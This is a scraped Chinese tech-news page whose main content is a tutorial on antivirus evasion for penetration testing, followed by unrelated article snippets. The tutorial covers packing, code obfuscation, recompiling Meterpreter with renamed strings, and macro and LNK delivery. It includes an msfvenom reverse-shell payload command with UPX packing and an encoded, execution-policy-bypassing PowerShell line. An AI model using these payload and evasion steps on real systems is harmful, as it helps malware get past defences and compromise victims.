news 2026/4/18 12:32:27

关于 免杀(上)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
关于 免杀(上)

网络安全中的免杀技术:原理、方法与防御

免杀(Anti-AntiVirus,简称 AAV)是绕过杀毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等安全产品检测的技术,广泛应用于渗透测试的 payload 投递环节,同时也是恶意代码逃避查杀的核心手段。

在合法的渗透测试场景中,免杀是验证目标网络防御有效性的重要技术;但在黑产领域,免杀会被用于传播病毒、木马等恶意程序,需严格区分合法用途与非法滥用的边界。

一、免杀的核心原理

杀毒软件的检测机制主要分为特征码检测、行为检测、启发式检测、云检测四类,免杀技术本质就是针对这些检测机制的规避手段。

  1. 特征码检测杀毒软件会提取恶意程序的唯一特征(如特定字节序列、哈希值 MD5/SHA1)存入病毒库,扫描时比对文件特征。免杀核心思路:修改特征码,让程序脱离病毒库的匹配范围。
  2. 行为检测监控程序运行时的恶意行为(如创建后门、远程连接、修改注册表、注入进程),通过行为规则判定恶意性。免杀核心思路:隐藏或伪装恶意行为,如延迟执行、分段执行、模拟正常程序行为。
  3. 启发式检测不依赖病毒库,通过分析程序的代码结构、指令序列(如调用敏感 API、内存操作),预判程序是否存在潜在威胁。免杀核心思路:模糊代码逻辑、混淆敏感指令,降低启发式引擎的识别概率。
  4. 云检测将文件哈希、特征信息上传至云端进行比对,结合大数据分析判定恶意性。免杀核心思路:避免文件特征入库,如使用动态生成 payload、加密传输数据。

二、静态免杀

静态免杀:修改文件特征,规避特征码 / 启发式检测

  1. 加壳 / 加花指令

    • 原理:加壳是对程序进行加密压缩,运行时由壳代码解密后再执行,隐藏原始程序的特征码;加花指令是在程序头部 / 尾部添加无意义的指令(如空指令、垃圾代码),改变文件的字节特征,不影响程序功能。
    • 工具
      • 压缩壳:UPX、ASPack(易被杀毒软件识别,需搭配其他方法);
      • 加密壳:VMProtect、Themida(强度较高,通过虚拟化指令混淆代码);
      • 手动加花:使用汇编器(NASM)编写花指令,通过HIEW010 Editor等十六进制编辑器插入。
    • 实操示例:对 msfvenom 生成的 payload 进行 UPX 加壳
      # 生成原始 payload(Windows 反向连接) msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe # 使用 UPX 加壳压缩 upx -9 payload.exe -o payload_upx.exe
    • 注意:单纯加壳易被查杀,需结合混淆、加密等手段。
  2. 代码混淆与加密

    • 原理:通过修改代码的语法结构、变量名、函数名,或对核心代码进行加密(如 AES、RC4 加密),隐藏敏感逻辑,规避启发式检测。
    • 适用场景:自定义编写的木马、脚本类 payload(如 Python、PowerShell、C# 代码)。
    • 工具与实操
      • Python 脚本混淆:使用pyminifier混淆代码,或对核心功能进行 AES 加密,运行时解密执行
        # 安装 pyminifier pip install pyminifier # 混淆 Python 脚本 pyminifier --obfuscate=1 --rename-globals payload.py -o payload_obf.py
      • C# 代码混淆:使用ConfuserEx工具,通过控制流混淆、字符串加密、虚方法注入等方式混淆程序集。
    • 核心技巧:避免硬编码敏感数据(如 IP、端口),改为运行时从配置文件 / 网络获取。
  3. 重编译与特征修改

    • 原理:针对开源恶意代码(如 Meterpreter、Cobalt Strike Beacon),修改源代码中的特征字符串、函数名,再重新编译,彻底改变文件特征码。
    • 实操示例:修改 Meterpreter 源代码
      1. 下载 Metasploit 源码,找到meterpreter/source目录下的核心文件;
      2. 替换代码中的特征字符串(如Meterpreter改为随机字符串),调整函数的参数顺序;
      3. 使用 MinGW/Visual Studio 重新编译生成 exe 文件。
    • 优势:修改彻底,免杀效果持久;缺点:需要具备对应编程语言的编译能力。
  4. 文件类型转换

    • 原理:将易被检测的文件类型(如 exe、dll)转换为其他类型(如 scr、bat、ps1),或封装为文档(如 Word、Excel 宏文件)、图片(如 PNG 隐写),利用目标系统的漏洞或信任机制执行。
    • 常见手段
      • 宏病毒免杀:编写混淆后的 VBA 宏代码,嵌入 Word 文档,通过Enable Content触发执行;
      • 脚本免杀:将 PowerShell 脚本进行 Base64 编码,通过命令行隐蔽执行
        powershell -exec bypass -enc <Base64编码后的脚本>
      • LNK 快捷方式钓鱼:制作恶意 LNK 文件,双击时执行隐藏的 payload。
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/18 8:39:44

TCP/IP协议栈:从四层模型到未来网络

TCP/IP协议栈深度解析技术文章大纲 协议栈概述 TCP/IP协议栈的定义与历史背景四层模型&#xff08;应用层、传输层、网络层、链路层&#xff09;与OSI七层模型的对比协议栈的核心设计思想与优势 链路层&#xff08;数据链路层&#xff09; 链路层的功能与作用&#xff1a;物…

作者头像 李华
网站建设 2026/4/18 11:00:37

货车手机远程启动一键启动无钥匙进入哪个功能更实用

在货车的智能功能中&#xff0c;‌手机远程启动‌和‌一键启动‌的实用性更高&#xff0c;而‌无钥匙进入‌则更侧重于便利性。具体来说&#xff1a;1. ‌移动管家货车一键启动手机远程启动‌系统 ‌核心优势‌&#xff1a;通过手机APP远程启动车辆&#xff0c;提前预热发动机或…

作者头像 李华
网站建设 2026/4/18 11:05:06

基于视觉大模型的实时监控系统技术实现解析

若你正关注计算机视觉技术在货架状态感知场景的落地&#xff0c;寻求低成本、高复用性的实时监控技术方案&#xff0c;那么这款AI视觉系统的技术实现逻辑值得深入探讨。其核心围绕视觉感知与智能决策的全流程构建&#xff0c;展现了计算机视觉技术在静态场景监控中的实践价值。…

作者头像 李华
网站建设 2026/4/18 1:55:41

AI三大黑科技:MCP、RAG、Agent,让AI从“工具“变“助手“

本文深入解析AI领域三大热门概念&#xff1a;MCP作为"万能转换器"统一工具接口标准&#xff1b;RAG通过检索增强生成解决AI"幻觉"问题&#xff1b;Agent作为智能体能主动理解任务并调用工具完成目标。三者形成"黄金三角"&#xff0c;使AI从被动响…

作者头像 李华
网站建设 2026/4/18 3:30:22

微信小程序版「死了么APP」,它来了

独居的你&#xff0c;如果突然失联了怎么办&#xff1f; 最近&#xff0c;有一款 iOS APP 在社交媒体上突然火了&#xff0c;名字听起来有点“晦气”&#xff0c;叫**「死了么」**。 虽然名字硬核&#xff0c;但它的功能却戳中了无数独居年轻人的软肋&#xff1a;“如果我长时间…

作者头像 李华